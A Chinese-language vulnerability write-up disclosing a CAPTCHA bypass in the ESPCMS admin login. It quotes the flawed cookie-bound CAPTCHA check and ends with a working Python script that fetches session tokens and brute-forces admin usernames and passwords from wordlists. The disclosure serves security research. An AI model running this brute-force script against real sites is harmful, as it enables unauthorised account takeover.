零、前言
之前发现了个ESPCMS的验证码绕过漏洞,交某漏洞平台没通过,觉得应该发出来分享一下,直接进入正题。
一、代码审计
ESPCMS有会员登录和后台登陆功能,这两处都有验证码,就拿后台登陆分析。它的后台是这样的
然后看一下后台判断验证码的位置interface/member.php 500行左右
if ($this->CON['mem_isseccode'] && !admin_WAP) { $seccode = $this->fun->accept('seccode', 'P'); include_once admin_ROOT . 'public/class_seccode.php'; list($new_seccode, $expiration) = explode("\t", $this->fun->eccode($_COOKIE['ecisp_home_seccode'], 'DECODE')); $code = new seccode(); $code->seccodeconvert($new_seccode); if ($new_seccode != strtoupper($seccode)) { $this->callmessage($this->lng['seescodeerr'], $linkURL, $this->lng['gobackbotton']); } }
看一下他检测验证码的方式,将输入的验证码与cookie中的值比较,这意味着什么?只要我们不改变cookie中的值以及输入的验证码的值,那么就可以
绕过验证码识别。也就是说验证码适合cookie绑定的,如图所示只要刷新一下改变验证码下面的这条cookie就跟着变化。只要不改变这两个值就能使用
一个验证码持续登陆,这样就能爆破了。
如果爆破的话还要解决另外一个问题,每个登陆界面只能请求一次,因为还有一个隐藏的token参数
这样的话就要每尝试一次动态获取这个token值,其中token中的值是和返回的PHPSESSID绑定的,所以这里同步获取PHPSESSID和token然后进行爆破
例如在burp中只需要更新post数据中tokenkey的值即可再次发包,但是并不会触发验证码错误。
二、漏洞利用脚本
POC如下
#-*-coding:utf-8 import requests import re url = "http://192.168.219.129/code_check/ESPCMS/upload/adminsoft/index.php" def get_token(): r = requests.get(url+"?archive=adminuser&action=login") m = re.search(r"(?<=tokenkey\" value=\").*(?=\">)",r.text) temp = r.headers["Set-Cookie"].split(";")[2].split(",")[1][1:] return (m.group(0),temp) def hack(username,password,token,session): payload = {"archive":"adminuser","action":"login_into" ,"tokenkey":token,"username":username ,"password":password,"seccode":"kcpr","button":"%E7%99%BB%E9%99%86%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0"} headers = {"Cookie":session+";ecisp_seccode=vZUiwvSWNOzwBnPd3vaMP17A1zfkEDKxAhKxdcB8aJY=;notice_5=1\ ecisp_home_seccode=V%2B%2FQP6dLJHsUJJ0z6u2gDiH1Y9fv5N9uuE7FrjE6SZ4%3D;\ cookiecheckrld39fc5a10d7ffc5b0f63c61c3d0b5e53=1459320237", "Referer":url+"?archive=adminuser&action=login", "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"} r = requests.post(url,headers=headers,data=payload) print r.text print username,password,token,session print "try:....",username,password, if "360" in r.text: print " success" print "\n" #return (username,password) def main(): u = open("1.txt").readlines() #读取用户名 p = open("2.txt").readlines() #读取密码 for i in u: for j in p: temp = get_token() hack(i.strip("\n"),j.strip("\n"),temp[0],temp[1]) if __name__=="__main__": main()
POC没有经过严格测试,如有问题自行更改即可